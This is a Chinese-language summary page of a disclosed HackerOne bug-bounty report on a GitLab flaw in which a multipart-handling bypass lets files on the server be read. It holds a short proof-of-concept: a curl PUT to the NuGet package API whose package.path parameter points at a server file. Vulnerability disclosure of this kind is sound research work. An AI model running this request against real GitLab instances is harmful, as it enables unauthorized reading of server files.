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地图 / gitlab-workhorse bypass in Gitlab::Middleware::Multipart allowing files in `allowed_paths` to be read

gitlab-workhorse bypass in Gitlab::Middleware::Multipart allowing files in `allowed_paths` to be read

信息泄露 / 信息泄露 / #850447

厂商
GitLab
严重程度
高危
赏金
$10,000
弱点
信息泄露
研究员
@vakzz
披露日期
2020-06-08
资产
Your Own GitLab Instance
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(6526 字符中的一小部分)
Summary Extracted from https://hackerone.com/reports/835455#activity-7672566
原文中的代码
# create test file on gitlab server
echo hello > /tmp/ggg; sudo chown git:git /tmp/ggg

# attacker
curl -XPUT -v -F '[package]=@/tmp/lala.txt' "http://vakzz:[email protected]/api/v4/projects/171/packages/nuget/?package.path=/tmp/ggg"

{"message":"201 Created"}

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 GitLab 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @vakzz · 版权归作者与 GitLab 所有

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gitlab-workhorse bypass in Gitlab::Middleware::Multipart allowing files in `allowed_paths` to be read · 破甲 POJIA